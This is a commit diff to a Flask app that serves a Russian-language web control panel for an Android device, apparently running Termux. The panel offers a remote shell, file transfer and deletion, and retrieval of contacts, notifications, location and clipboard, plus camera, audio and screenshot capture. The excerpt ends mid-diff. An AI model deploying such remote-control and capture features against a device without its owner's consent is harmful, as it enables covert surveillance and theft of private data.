Spaces:
Running
Running
Update app.py
Browse files
app.py
CHANGED
@@ -27,55 +27,84 @@ HTML_TEMPLATE = """
|
|
27 |
<html lang="ru">
|
28 |
<head>
|
29 |
<meta charset="UTF-8">
|
30 |
-
<meta name="viewport" content="width=device-width, initial-scale=1.0">
|
31 |
-
<title
|
32 |
<style>
|
33 |
-
body { font-family: Arial, sans-serif; margin: 0; padding: 0; background-color: #f0f2f5; color: #333; display: flex; min-height: 100vh; }
|
34 |
-
|
35 |
-
.
|
|
|
|
|
|
|
|
|
|
|
36 |
.sidebar ul { list-style: none; padding: 0; margin: 0; }
|
37 |
-
.sidebar ul li a { color: #ddd; text-decoration: none; display: block; padding: 10px; border-radius: 4px; margin-bottom: 5px; }
|
38 |
.sidebar ul li a:hover, .sidebar ul li a.active { background-color: #555; color: white; }
|
39 |
-
.content {
|
40 |
-
.
|
41 |
-
|
42 |
-
.
|
43 |
-
|
44 |
-
|
45 |
-
|
|
|
46 |
button:hover { background-color: #0056b3; }
|
47 |
-
pre { background-color: #282c34; color: #abb2bf; padding:
|
48 |
-
.status { padding:
|
49 |
.status.online { background-color: #d4edda; color: #155724; border: 1px solid #c3e6cb; }
|
50 |
.status.offline { background-color: #f8d7da; color: #721c24; border: 1px solid #f5c6cb; }
|
51 |
.file-browser ul { list-style: none; padding: 0; }
|
52 |
-
.file-browser li { padding: 8px 0; border-bottom: 1px solid #eee; display: flex; justify-content: space-between; align-items: center; }
|
|
|
|
|
53 |
.file-browser li:last-child { border-bottom: none; }
|
54 |
.file-browser a { text-decoration: none; color: #007bff; }
|
55 |
.file-browser a:hover { text-decoration: underline; }
|
56 |
.file-icon { margin-right: 8px; }
|
57 |
.file-browser .dir a { font-weight: bold; }
|
58 |
-
.file-browser .download-btn {
|
59 |
.file-browser .download-btn:hover { background-color: #218838; }
|
|
|
|
|
60 |
.hidden-section { display: none; }
|
61 |
-
.status-item { margin-bottom:
|
62 |
.status-item strong { color: #333; }
|
63 |
-
.list-
|
64 |
-
.
|
65 |
-
.
|
66 |
-
.
|
67 |
-
.
|
68 |
-
.
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
69 |
</style>
|
70 |
<script>
|
71 |
let currentView = 'dashboard';
|
72 |
|
|
|
|
|
|
|
|
|
|
|
73 |
function showSection(sectionId) {
|
74 |
document.querySelectorAll('.content > div.container').forEach(div => div.style.display = 'none');
|
75 |
document.getElementById(sectionId).style.display = 'block';
|
76 |
document.querySelectorAll('.sidebar a').forEach(a => a.classList.remove('active'));
|
77 |
-
document.querySelector(`.sidebar a[href="#${sectionId}"]`)
|
|
|
78 |
currentView = sectionId;
|
|
|
|
|
|
|
|
|
|
|
79 |
if (sectionId === 'files') refreshClientPathDisplay();
|
80 |
if (sectionId === 'device_status') requestDeviceStatus();
|
81 |
if (sectionId === 'notifications') requestNotifications();
|
@@ -142,7 +171,7 @@ HTML_TEMPLATE = """
|
|
142 |
if (data.notifications && currentView === 'notifications') {
|
143 |
renderNotifications(data.notifications);
|
144 |
}
|
145 |
-
|
146 |
renderContacts(data.contacts);
|
147 |
}
|
148 |
|
@@ -192,7 +221,8 @@ HTML_TEMPLATE = """
|
|
192 |
const name = parts[2].trim();
|
193 |
|
194 |
const li = document.createElement('li');
|
195 |
-
const
|
|
|
196 |
const a = document.createElement('a');
|
197 |
a.href = '#';
|
198 |
|
@@ -200,21 +230,32 @@ HTML_TEMPLATE = """
|
|
200 |
li.className = 'dir';
|
201 |
a.innerHTML = `<span class="file-icon">📁</span> ${name}`;
|
202 |
a.onclick = (e) => { e.preventDefault(); navigateTo(name); };
|
203 |
-
|
|
|
204 |
} else {
|
205 |
li.className = 'file';
|
206 |
a.innerHTML = `<span class="file-icon">📄</span> ${name}`;
|
207 |
a.onclick = (e) => { e.preventDefault(); };
|
208 |
-
|
|
|
|
|
|
|
|
|
209 |
|
210 |
const downloadBtn = document.createElement('button');
|
211 |
downloadBtn.className = 'download-btn';
|
212 |
downloadBtn.textContent = 'Скачать';
|
213 |
downloadBtn.onclick = (e) => { e.preventDefault(); requestDownloadFile(name); };
|
214 |
-
|
215 |
-
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
216 |
}
|
217 |
-
if (type === '[D]') li.appendChild(nameSpan);
|
218 |
fileListUl.appendChild(li);
|
219 |
});
|
220 |
}
|
@@ -225,7 +266,7 @@ HTML_TEMPLATE = """
|
|
225 |
if (notifications && notifications.length > 0) {
|
226 |
notifications.forEach(n => {
|
227 |
const itemDiv = document.createElement('div');
|
228 |
-
itemDiv.className = '
|
229 |
itemDiv.innerHTML = `
|
230 |
<strong>${n.title || 'Без заголовка'} (ID: ${n.id || 'N/A'})</strong>
|
231 |
<span><strong>Приложение:</strong> ${n.packageName || 'N/A'}</span>
|
@@ -243,19 +284,21 @@ HTML_TEMPLATE = """
|
|
243 |
function renderContacts(contacts) {
|
244 |
const contactListDiv = document.getElementById('contactList');
|
245 |
contactListDiv.innerHTML = '';
|
246 |
-
|
247 |
contacts.forEach(c => {
|
248 |
const itemDiv = document.createElement('div');
|
249 |
-
itemDiv.className = '
|
250 |
-
|
251 |
-
|
252 |
-
|
253 |
-
|
254 |
-
|
255 |
-
|
|
|
|
|
256 |
itemDiv.innerHTML = `
|
257 |
-
<strong>${name}</strong>
|
258 |
-
|
259 |
`;
|
260 |
contactListDiv.appendChild(itemDiv);
|
261 |
});
|
@@ -303,6 +346,12 @@ HTML_TEMPLATE = """
|
|
303 |
sendGenericCommand({ command_type: 'request_download_file', filename: filename });
|
304 |
document.getElementById('outputArea').innerText = `Запрос на скачивание файла ${filename}... Ожидайте появления в разделе "Загрузки с клиента".`;
|
305 |
}
|
|
|
|
|
|
|
|
|
|
|
|
|
306 |
|
307 |
function refreshClientPathDisplay(){
|
308 |
if (document.getElementById('currentPathDisplay')) {
|
@@ -316,6 +365,9 @@ HTML_TEMPLATE = """
|
|
316 |
showSection('dashboard');
|
317 |
setInterval(refreshOutput, 4000);
|
318 |
refreshOutput();
|
|
|
|
|
|
|
319 |
};
|
320 |
|
321 |
function submitShellCommand(event) {
|
@@ -325,15 +377,11 @@ HTML_TEMPLATE = """
|
|
325 |
document.getElementById('command_str').value = '';
|
326 |
}
|
327 |
|
328 |
-
function submitMediaCommand(type,
|
329 |
let payload = { command_type: type };
|
330 |
-
if (
|
331 |
-
const value = document.getElementById(
|
332 |
-
if (value) payload[
|
333 |
-
}
|
334 |
-
if (param2Name && param2ValueId) { // For second parameter (e.g., video duration)
|
335 |
-
const value = document.getElementById(param2ValueId).value;
|
336 |
-
if (value) payload[param2Name] = value;
|
337 |
}
|
338 |
sendGenericCommand(payload);
|
339 |
}
|
@@ -412,186 +460,182 @@ HTML_TEMPLATE = """
|
|
412 |
</script>
|
413 |
</head>
|
414 |
<body>
|
415 |
-
<
|
416 |
-
<
|
417 |
-
<
|
418 |
-
|
419 |
-
|
420 |
-
|
421 |
-
<
|
422 |
-
<
|
423 |
-
|
424 |
-
|
425 |
-
|
426 |
-
|
427 |
-
|
428 |
-
|
429 |
-
|
430 |
-
|
|
|
|
|
|
|
431 |
</div>
|
432 |
-
|
433 |
-
|
434 |
-
|
435 |
-
|
436 |
-
|
437 |
-
|
438 |
-
|
439 |
-
|
440 |
-
|
441 |
-
|
442 |
-
|
443 |
-
|
444 |
</div>
|
445 |
-
</div>
|
446 |
|
447 |
-
|
448 |
-
|
449 |
-
|
450 |
-
|
451 |
-
|
452 |
-
|
453 |
-
|
454 |
-
|
455 |
-
|
456 |
-
|
457 |
-
|
458 |
-
|
459 |
-
|
|
|
|
|
|
|
|
|
|
|
|
|
460 |
</div>
|
461 |
-
|
462 |
-
|
463 |
-
<
|
464 |
-
<button onclick="
|
|
|
|
|
|
|
|
|
|
|
|
|
465 |
</div>
|
466 |
-
|
467 |
-
|
468 |
-
|
469 |
-
|
470 |
-
|
471 |
-
|
472 |
-
|
473 |
-
|
474 |
-
|
475 |
</div>
|
476 |
</div>
|
477 |
-
</div>
|
478 |
|
479 |
-
|
480 |
-
|
481 |
-
|
482 |
-
|
483 |
-
<
|
484 |
-
<
|
485 |
-
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
486 |
</div>
|
487 |
</div>
|
488 |
-
</div>
|
489 |
|
490 |
-
|
491 |
-
|
492 |
-
|
493 |
-
|
494 |
-
|
495 |
-
|
496 |
-
<input type="text" id="customPathInput" placeholder="/sdcard/Download" style="width:auto; display:inline-block; margin-left:5px;">
|
497 |
-
<div class="file-browser control-section">
|
498 |
-
<h3>Содержимое директории:</h3>
|
499 |
-
<ul id="fileList">
|
500 |
-
<li>Запросите содержимое директории.</li>
|
501 |
-
</ul>
|
502 |
-
</div>
|
503 |
-
<div class="control-section">
|
504 |
-
<h3>Загрузить файл НА устройство</h3>
|
505 |
-
<form id="uploadForm" onsubmit="handleUploadToServer(event)">
|
506 |
-
<label for="fileToUploadToDevice">Выберите файл:</label>
|
507 |
-
<input type="file" id="fileToUploadToDevice" name="file_to_device" required>
|
508 |
-
<label for="targetDevicePath">Путь для сохранения на устройстве (например, `/sdcard/Download/` или `~/`):</label>
|
509 |
-
<input type="text" id="targetDevicePath" name="target_path_on_device" value="/sdcard/Download/" required>
|
510 |
-
<button type="submit">Загрузить на устройство</button>
|
511 |
</form>
|
512 |
-
|
|
|
|
|
|
|
513 |
</div>
|
514 |
-
</div>
|
515 |
|
516 |
-
|
517 |
-
|
518 |
-
|
519 |
-
|
520 |
-
|
521 |
-
|
522 |
-
|
523 |
-
|
524 |
-
|
525 |
-
|
526 |
-
|
527 |
-
|
528 |
-
|
529 |
-
|
530 |
-
|
531 |
-
|
532 |
-
|
533 |
-
|
534 |
-
|
535 |
-
</div>
|
536 |
-
<div class="control-section">
|
537 |
-
<button onclick="submitMediaCommand('record_video', 'camera_id', 'camera_id_input_video', 'duration', 'video_duration_input')">Записать видео</button>
|
538 |
-
<label for="camera_id_input_video" style="display:inline-block; margin-left:10px;">ID камеры:</label>
|
539 |
-
<input type="text" id="camera_id_input_video" value="0" style="width:50px; display:inline-block; margin-right:10px;">
|
540 |
-
<label for="video_duration_input" style="display:inline-block;">Длительность (сек):</label>
|
541 |
-
<input type="number" id="video_duration_input" value="10" style="width:60px; display:inline-block;">
|
542 |
-
</div>
|
543 |
-
<div class="control-section">
|
544 |
-
<button onclick="submitMediaCommand('record_audio', 'duration', 'audio_duration_input_media')">Записать аудио</button>
|
545 |
-
<label for="audio_duration_input_media" style="display:inline-block; margin-left:10px;">Длительность (сек):</label>
|
546 |
-
<input type="text" id="audio_duration_input_media" value="5" style="width:50px; display:inline-block;">
|
547 |
-
</div>
|
548 |
-
<div class="control-section">
|
549 |
-
<button onclick="submitMediaCommand('screenshot')">Сделать скриншот</button>
|
550 |
</div>
|
551 |
-
<div class="control-section" style="margin-top:20px;">
|
552 |
-
<h3>Результат операции:</h3>
|
553 |
-
<pre id="outputAreaMediaCopy"></pre>
|
554 |
-
</div>
|
555 |
-
</div>
|
556 |
|
557 |
-
|
558 |
-
|
559 |
-
|
560 |
-
|
561 |
-
|
562 |
-
|
563 |
-
|
564 |
-
|
565 |
-
|
|
|
|
|
|
|
|
|
|
|
566 |
</div>
|
567 |
-
<div class="control-section" style="margin-top:20px;">
|
568 |
-
<h3>Результат операции с буфером:</h3>
|
569 |
-
<pre id="outputAreaClipboardCopy"></pre>
|
570 |
-
</div>
|
571 |
-
</div>
|
572 |
|
573 |
-
|
574 |
-
|
575 |
-
|
576 |
-
|
577 |
-
|
578 |
-
|
|
|
|
|
|
|
|
|
|
|
579 |
</div>
|
580 |
-
|
581 |
-
|
582 |
-
<
|
583 |
-
|
584 |
-
|
585 |
-
|
586 |
-
|
587 |
-
|
588 |
-
<div class="control-section">
|
589 |
-
<ul id="serverUploadedFiles">
|
590 |
-
<li>Нет загруженных файлов.</li>
|
591 |
-
</ul>
|
592 |
</div>
|
593 |
-
</div>
|
594 |
-
</div>
|
595 |
<script>
|
596 |
document.addEventListener('DOMContentLoaded', () => {
|
597 |
const outputArea = document.getElementById('outputArea');
|
@@ -619,7 +663,7 @@ def index():
|
|
619 |
|
620 |
@app.route('/send_command', methods=['POST'])
|
621 |
def handle_send_command():
|
622 |
-
global pending_command, command_output
|
623 |
|
624 |
data = request.json
|
625 |
command_output = "Ожидание выполнения..."
|
@@ -635,14 +679,14 @@ def handle_send_command():
|
|
635 |
pending_command = {'type': 'upload_to_server', 'filename': filename}
|
636 |
else:
|
637 |
command_output = "Ошибка: Имя файла для скачивания не указано."
|
|
|
|
|
|
|
|
|
|
|
|
|
638 |
elif command_type == 'take_photo':
|
639 |
pending_command = {'type': 'take_photo', 'camera_id': data.get('camera_id', '0')}
|
640 |
-
elif command_type == 'record_video':
|
641 |
-
pending_command = {
|
642 |
-
'type': 'record_video',
|
643 |
-
'camera_id': data.get('camera_id', '0'),
|
644 |
-
'duration': data.get('duration', '10') # Default 10 seconds for video
|
645 |
-
}
|
646 |
elif command_type == 'record_audio':
|
647 |
pending_command = {'type': 'record_audio', 'duration': data.get('duration', '5')}
|
648 |
elif command_type == 'screenshot':
|
@@ -665,7 +709,6 @@ def handle_send_command():
|
|
665 |
'target_path': target_path_on_device,
|
666 |
'original_filename': server_filename
|
667 |
}
|
668 |
-
file_to_send_to_client = None
|
669 |
else:
|
670 |
command_output = f"Ошибка: Файл {server_filename} не найден на сервере для отправки клиенту."
|
671 |
else:
|
|
|
27 |
<html lang="ru">
|
28 |
<head>
|
29 |
<meta charset="UTF-8">
|
30 |
+
<meta name="viewport" content="width=device-width, initial-scale=1.0, maximum-scale=1.0, user-scalable=no">
|
31 |
+
<title>ПУ Android</title>
|
32 |
<style>
|
33 |
+
body { font-family: -apple-system, BlinkMacSystemFont, "Segoe UI", Roboto, "Helvetica Neue", Arial, sans-serif; margin: 0; padding: 0; background-color: #f0f2f5; color: #333; display: flex; flex-direction: column; min-height: 100vh; font-size: 16px; -webkit-text-size-adjust: 100%; }
|
34 |
+
header { background-color: #333; color: white; padding: 10px 15px; display: flex; align-items: center; box-shadow: 0 2px 5px rgba(0,0,0,0.2); }
|
35 |
+
.menu-toggle { font-size: 1.5em; background: none; border: none; color: white; cursor: pointer; margin-right: 15px; padding: 5px; }
|
36 |
+
header h1 { font-size: 1.2em; margin: 0; flex-grow: 1; text-align: center; }
|
37 |
+
.main-container { display: flex; flex-grow: 1; overflow: hidden; }
|
38 |
+
.sidebar { width: 250px; background-color: #3f3f3f; color: white; padding: 15px; box-sizing: border-box; display: flex; flex-direction: column; transform: translateX(-100%); transition: transform 0.3s ease-in-out; position: fixed; top: 0; left: 0; height: 100vh; z-index: 1000; overflow-y: auto; }
|
39 |
+
.sidebar.open { transform: translateX(0); box-shadow: 3px 0 6px rgba(0,0,0,0.2); }
|
40 |
+
.sidebar h2 { margin-top: 40px; font-size: 1.1em; border-bottom: 1px solid #555; padding-bottom: 10px; }
|
41 |
.sidebar ul { list-style: none; padding: 0; margin: 0; }
|
42 |
+
.sidebar ul li a { color: #ddd; text-decoration: none; display: block; padding: 12px 10px; border-radius: 4px; margin-bottom: 5px; font-size:0.95em; }
|
43 |
.sidebar ul li a:hover, .sidebar ul li a.active { background-color: #555; color: white; }
|
44 |
+
.content-overlay { display: none; position: fixed; top: 0; left: 0; width: 100%; height: 100%; background: rgba(0,0,0,0.5); z-index: 999; }
|
45 |
+
.content-overlay.active { display: block; }
|
46 |
+
.content { flex-grow: 1; padding: 15px; box-sizing: border-box; overflow-y: auto; margin-top: 50px; /* Height of header */ }
|
47 |
+
.container { background-color: #fff; padding: 15px; border-radius: 8px; box-shadow: 0 1px 3px rgba(0,0,0,0.1); margin-bottom:15px; }
|
48 |
+
.control-section { margin-bottom: 15px; padding: 10px; border: 1px solid #e0e0e0; border-radius: 6px; background-color: #f9f9f9; }
|
49 |
+
label { display: block; margin-bottom: 6px; font-weight: bold; color: #555; font-size: 0.9em; }
|
50 |
+
input[type="text"], textarea, input[type="file"] { width: calc(100% - 22px); padding: 10px; margin-bottom: 10px; border: 1px solid #ccc; border-radius: 4px; box-sizing: border-box; font-size: 1em; }
|
51 |
+
button { padding: 10px 15px; background-color: #007bff; color: white; border: none; border-radius: 4px; cursor: pointer; font-size: 0.9em; margin-right: 5px; margin-bottom: 8px; display: inline-block; }
|
52 |
button:hover { background-color: #0056b3; }
|
53 |
+
pre { background-color: #282c34; color: #abb2bf; padding: 10px; border-radius: 4px; white-space: pre-wrap; word-wrap: break-word; max-height: 300px; overflow-y: auto; font-family: 'Courier New', Courier, monospace; font-size: 0.85em; }
|
54 |
+
.status { padding: 10px; border-radius: 4px; margin-bottom:10px; font-weight: bold; font-size: 0.9em; }
|
55 |
.status.online { background-color: #d4edda; color: #155724; border: 1px solid #c3e6cb; }
|
56 |
.status.offline { background-color: #f8d7da; color: #721c24; border: 1px solid #f5c6cb; }
|
57 |
.file-browser ul { list-style: none; padding: 0; }
|
58 |
+
.file-browser li { padding: 8px 0; border-bottom: 1px solid #eee; display: flex; flex-wrap: wrap; justify-content: space-between; align-items: center; }
|
59 |
+
.file-browser li .file-name-container { flex-grow: 1; margin-right: 10px; word-break: break-all; }
|
60 |
+
.file-browser li .file-actions button { margin-left: 5px; padding: 4px 8px; font-size:0.8em; }
|
61 |
.file-browser li:last-child { border-bottom: none; }
|
62 |
.file-browser a { text-decoration: none; color: #007bff; }
|
63 |
.file-browser a:hover { text-decoration: underline; }
|
64 |
.file-icon { margin-right: 8px; }
|
65 |
.file-browser .dir a { font-weight: bold; }
|
66 |
+
.file-browser .download-btn { background-color: #28a745; }
|
67 |
.file-browser .download-btn:hover { background-color: #218838; }
|
68 |
+
.file-browser .delete-btn { background-color: #dc3545; }
|
69 |
+
.file-browser .delete-btn:hover { background-color: #c82333; }
|
70 |
.hidden-section { display: none; }
|
71 |
+
.status-item { margin-bottom: 8px; font-size: 0.9em;}
|
72 |
.status-item strong { color: #333; }
|
73 |
+
.notification-list, .contact-list { max-height: 350px; overflow-y: auto; border: 1px solid #ddd; padding: 10px; background-color: #fdfdfd;}
|
74 |
+
.notification-item, .contact-item { border-bottom: 1px solid #eee; padding: 8px 0; margin-bottom: 8px; }
|
75 |
+
.notification-item:last-child, .contact-item:last-child { border-bottom: none; }
|
76 |
+
.notification-item strong, .contact-item strong { display: block; color: #555; }
|
77 |
+
.notification-item span, .contact-item span { font-size: 0.9em; color: #777; display: block; }
|
78 |
+
.contact-item .contact-number { font-weight: normal; }
|
79 |
+
|
80 |
+
@media (min-width: 768px) { /* Desktop styles */
|
81 |
+
body { flex-direction: row; }
|
82 |
+
header { display: none; } /* Hide mobile header on desktop */
|
83 |
+
.sidebar { transform: translateX(0); position: static; height: 100vh; box-shadow: none; }
|
84 |
+
.content { margin-top: 0; }
|
85 |
+
.content-overlay { display: none !important; } /* Never show overlay on desktop */
|
86 |
+
}
|
87 |
</style>
|
88 |
<script>
|
89 |
let currentView = 'dashboard';
|
90 |
|
91 |
+
function toggleMenu() {
|
92 |
+
document.querySelector('.sidebar').classList.toggle('open');
|
93 |
+
document.querySelector('.content-overlay').classList.toggle('active');
|
94 |
+
}
|
95 |
+
|
96 |
function showSection(sectionId) {
|
97 |
document.querySelectorAll('.content > div.container').forEach(div => div.style.display = 'none');
|
98 |
document.getElementById(sectionId).style.display = 'block';
|
99 |
document.querySelectorAll('.sidebar a').forEach(a => a.classList.remove('active'));
|
100 |
+
const activeLink = document.querySelector(`.sidebar a[href="#${sectionId}"]`);
|
101 |
+
if (activeLink) activeLink.classList.add('active');
|
102 |
currentView = sectionId;
|
103 |
+
|
104 |
+
if (document.querySelector('.sidebar').classList.contains('open')) { // Close menu on mobile after selection
|
105 |
+
toggleMenu();
|
106 |
+
}
|
107 |
+
|
108 |
if (sectionId === 'files') refreshClientPathDisplay();
|
109 |
if (sectionId === 'device_status') requestDeviceStatus();
|
110 |
if (sectionId === 'notifications') requestNotifications();
|
|
|
171 |
if (data.notifications && currentView === 'notifications') {
|
172 |
renderNotifications(data.notifications);
|
173 |
}
|
174 |
+
if (data.contacts && currentView === 'contacts') {
|
175 |
renderContacts(data.contacts);
|
176 |
}
|
177 |
|
|
|
221 |
const name = parts[2].trim();
|
222 |
|
223 |
const li = document.createElement('li');
|
224 |
+
const nameContainer = document.createElement('div');
|
225 |
+
nameContainer.className = 'file-name-container';
|
226 |
const a = document.createElement('a');
|
227 |
a.href = '#';
|
228 |
|
|
|
230 |
li.className = 'dir';
|
231 |
a.innerHTML = `<span class="file-icon">📁</span> ${name}`;
|
232 |
a.onclick = (e) => { e.preventDefault(); navigateTo(name); };
|
233 |
+
nameContainer.appendChild(a);
|
234 |
+
li.appendChild(nameContainer);
|
235 |
} else {
|
236 |
li.className = 'file';
|
237 |
a.innerHTML = `<span class="file-icon">📄</span> ${name}`;
|
238 |
a.onclick = (e) => { e.preventDefault(); };
|
239 |
+
nameContainer.appendChild(a);
|
240 |
+
li.appendChild(nameContainer);
|
241 |
+
|
242 |
+
const actionsContainer = document.createElement('div');
|
243 |
+
actionsContainer.className = 'file-actions';
|
244 |
|
245 |
const downloadBtn = document.createElement('button');
|
246 |
downloadBtn.className = 'download-btn';
|
247 |
downloadBtn.textContent = 'Скачать';
|
248 |
downloadBtn.onclick = (e) => { e.preventDefault(); requestDownloadFile(name); };
|
249 |
+
actionsContainer.appendChild(downloadBtn);
|
250 |
+
|
251 |
+
const deleteBtn = document.createElement('button');
|
252 |
+
deleteBtn.className = 'delete-btn';
|
253 |
+
deleteBtn.textContent = 'Удалить';
|
254 |
+
deleteBtn.onclick = (e) => { e.preventDefault(); requestDeleteFile(name); };
|
255 |
+
actionsContainer.appendChild(deleteBtn);
|
256 |
+
|
257 |
+
li.appendChild(actionsContainer);
|
258 |
}
|
|
|
259 |
fileListUl.appendChild(li);
|
260 |
});
|
261 |
}
|
|
|
266 |
if (notifications && notifications.length > 0) {
|
267 |
notifications.forEach(n => {
|
268 |
const itemDiv = document.createElement('div');
|
269 |
+
itemDiv.className = 'notification-item';
|
270 |
itemDiv.innerHTML = `
|
271 |
<strong>${n.title || 'Без заголовка'} (ID: ${n.id || 'N/A'})</strong>
|
272 |
<span><strong>Приложение:</strong> ${n.packageName || 'N/A'}</span>
|
|
|
284 |
function renderContacts(contacts) {
|
285 |
const contactListDiv = document.getElementById('contactList');
|
286 |
contactListDiv.innerHTML = '';
|
287 |
+
if (contacts && contacts.length > 0) {
|
288 |
contacts.forEach(c => {
|
289 |
const itemDiv = document.createElement('div');
|
290 |
+
itemDiv.className = 'contact-item';
|
291 |
+
let numbersHtml = '';
|
292 |
+
if (c.numbers && c.numbers.length > 0) {
|
293 |
+
c.numbers.forEach(num => {
|
294 |
+
numbersHtml += `<span class="contact-number">${num}</span>`;
|
295 |
+
});
|
296 |
+
} else {
|
297 |
+
numbersHtml = '<span>Нет номеров</span>';
|
298 |
+
}
|
299 |
itemDiv.innerHTML = `
|
300 |
+
<strong>${c.name || 'Без имени'}</strong>
|
301 |
+
${numbersHtml}
|
302 |
`;
|
303 |
contactListDiv.appendChild(itemDiv);
|
304 |
});
|
|
|
346 |
sendGenericCommand({ command_type: 'request_download_file', filename: filename });
|
347 |
document.getElementById('outputArea').innerText = `Запрос на скачивание файла ${filename}... Ожидайте появления в разделе "Загрузки с клиента".`;
|
348 |
}
|
349 |
+
|
350 |
+
function requestDeleteFile(filename) {
|
351 |
+
if (confirm(`Вы уверены, что хотите удалить файл "${filename}"? Это действие ��еобратимо.`)) {
|
352 |
+
sendGenericCommand({ command_type: 'delete_file', filename: filename });
|
353 |
+
}
|
354 |
+
}
|
355 |
|
356 |
function refreshClientPathDisplay(){
|
357 |
if (document.getElementById('currentPathDisplay')) {
|
|
|
365 |
showSection('dashboard');
|
366 |
setInterval(refreshOutput, 4000);
|
367 |
refreshOutput();
|
368 |
+
// Add event listener for the menu toggle on mobile
|
369 |
+
document.querySelector('.menu-toggle').addEventListener('click', toggleMenu);
|
370 |
+
document.querySelector('.content-overlay').addEventListener('click', toggleMenu);
|
371 |
};
|
372 |
|
373 |
function submitShellCommand(event) {
|
|
|
377 |
document.getElementById('command_str').value = '';
|
378 |
}
|
379 |
|
380 |
+
function submitMediaCommand(type, paramName, paramValueId) {
|
381 |
let payload = { command_type: type };
|
382 |
+
if (paramName && paramValueId) {
|
383 |
+
const value = document.getElementById(paramValueId).value;
|
384 |
+
if (value) payload[paramName] = value;
|
|
|
|
|
|
|
|
|
385 |
}
|
386 |
sendGenericCommand(payload);
|
387 |
}
|
|
|
460 |
</script>
|
461 |
</head>
|
462 |
<body>
|
463 |
+
<header>
|
464 |
+
<button class="menu-toggle" aria-label="Toggle menu">☰</button>
|
465 |
+
<h1>ПУ Android</h1>
|
466 |
+
</header>
|
467 |
+
<div class="main-container">
|
468 |
+
<div class="sidebar">
|
469 |
+
<h2>Меню</h2>
|
470 |
+
<ul>
|
471 |
+
<li><a href="#dashboard" onclick="showSection('dashboard')" class="active">Панель</a></li>
|
472 |
+
<li><a href="#device_status" onclick="showSection('device_status')">Статус устройства</a></li>
|
473 |
+
<li><a href="#notifications" onclick="showSection('notifications')">Уведомления</a></li>
|
474 |
+
<li><a href="#contacts" onclick="showSection('contacts')">Контакты</a></li>
|
475 |
+
<li><a href="#files" onclick="showSection('files')">Файлы</a></li>
|
476 |
+
<li><a href="#shell" onclick="showSection('shell')">Терминал</a></li>
|
477 |
+
<li><a href="#media" onclick="showSection('media')">Медиа</a></li>
|
478 |
+
<li><a href="#clipboard" onclick="showSection('clipboard')">Буфер обмена</a></li>
|
479 |
+
<li><a href="#utils" onclick="showSection('utils')">Утилиты</a></li>
|
480 |
+
<li><a href="#uploads" onclick="showSection('uploads')">Загрузки с клиента</a></li>
|
481 |
+
</ul>
|
482 |
</div>
|
483 |
+
<div class="content-overlay"></div>
|
484 |
+
<div class="content">
|
485 |
+
<!-- Client Status (visible on all pages potentially) -->
|
486 |
+
<div id="clientStatus" class="status offline">Статус клиента неизвестен</div>
|
487 |
+
|
488 |
+
<div id="dashboard" class="container">
|
489 |
+
<h2>Общая информация</h2>
|
490 |
+
<p>Добро пожаловать в панель управления. Выберите действие из меню слева.</p>
|
491 |
+
<div class="control-section">
|
492 |
+
<h3>Вывод последней операции:</h3>
|
493 |
+
<pre id="outputArea">Ожидание вывода...</pre>
|
494 |
+
</div>
|
495 |
</div>
|
|
|
496 |
|
497 |
+
<div id="device_status" class="container hidden-section">
|
498 |
+
<h2>Статус устройства</h2>
|
499 |
+
<button onclick="requestDeviceStatus()">Обновить все</button>
|
500 |
+
<div class="control-section">
|
501 |
+
<h3>Батарея</h3>
|
502 |
+
<div id="batteryStatus" class="status-item"><strong>Заряд:</strong> Н/Д</div>
|
503 |
+
<button onclick="requestDeviceStatus('battery')">Обновить батарею</button>
|
504 |
+
</div>
|
505 |
+
<div class="control-section">
|
506 |
+
<h3>Геолокация</h3>
|
507 |
+
<div id="locationStatus" class="status-item"><strong>Локация:</strong> Н/Д</div>
|
508 |
+
<div id="locationMapLink" class="status-item"></div>
|
509 |
+
<button onclick="requestDeviceStatus('location')">Обновить геолокацию</button>
|
510 |
+
</div>
|
511 |
+
<div class="control-section">
|
512 |
+
<h3>Запущенные процессы (пользователя Termux)</h3>
|
513 |
+
<div id="processesStatus" class="status-item"><strong>Процессы:</strong> Н/Д</div>
|
514 |
+
<button onclick="requestDeviceStatus('processes')">Обновить процессы</button>
|
515 |
+
</div>
|
516 |
</div>
|
517 |
+
|
518 |
+
<div id="notifications" class="container hidden-section">
|
519 |
+
<h2>Уведомления устройства</h2>
|
520 |
+
<button onclick="requestNotifications()">Обновить уведомления</button>
|
521 |
+
<div class="control-section">
|
522 |
+
<h3>Список уведомлений:</h3>
|
523 |
+
<div id="notificationList" class="notification-list">
|
524 |
+
<p>Запросите список уведомлений.</p>
|
525 |
+
</div>
|
526 |
+
</div>
|
527 |
</div>
|
528 |
+
|
529 |
+
<div id="contacts" class="container hidden-section">
|
530 |
+
<h2>Контакты</h2>
|
531 |
+
<button onclick="requestContacts()">Запросить список контактов</button>
|
532 |
+
<div class="control-section">
|
533 |
+
<h3>Список контактов:</h3>
|
534 |
+
<div id="contactList" class="contact-list">
|
535 |
+
<p>Запросите список контактов.</p>
|
536 |
+
</div>
|
537 |
</div>
|
538 |
</div>
|
|
|
539 |
|
540 |
+
<div id="files" class="container hidden-section">
|
541 |
+
<h2>Файловый менеджер (Клиент)</h2>
|
542 |
+
<p>Текущий путь на клиенте: <strong id="currentPathDisplay">~</strong></p>
|
543 |
+
<button onclick="navigateTo('~')">Дом (~)</button>
|
544 |
+
<button onclick="navigateTo('/sdcard/')">Память</button>
|
545 |
+
<input type="text" id="customPathInput" placeholder="/sdcard/Download" style="width:auto; display:inline-block; margin-left:0px; margin-right:5px; max-width: 150px;">
|
546 |
+
<button onclick="navigateTo(document.getElementById('customPathInput').value)">Перейти</button>
|
547 |
+
<div class="file-browser control-section">
|
548 |
+
<h3>Содержимое директории:</h3>
|
549 |
+
<ul id="fileList">
|
550 |
+
<li>Запросите содержимое директории.</li>
|
551 |
+
</ul>
|
552 |
+
</div>
|
553 |
+
<div class="control-section">
|
554 |
+
<h3>Загрузить файл НА устройство</h3>
|
555 |
+
<form id="uploadForm" onsubmit="handleUploadToServer(event)">
|
556 |
+
<label for="fileToUploadToDevice">Выберите файл:</label>
|
557 |
+
<input type="file" id="fileToUploadToDevice" name="file_to_device" required>
|
558 |
+
<label for="targetDevicePath">Путь для сохранения на устройстве (например, `/sdcard/Download/` или `~/`):</label>
|
559 |
+
<input type="text" id="targetDevicePath" name="target_path_on_device" value="/sdcard/Download/" required>
|
560 |
+
<button type="submit">Загрузить</button>
|
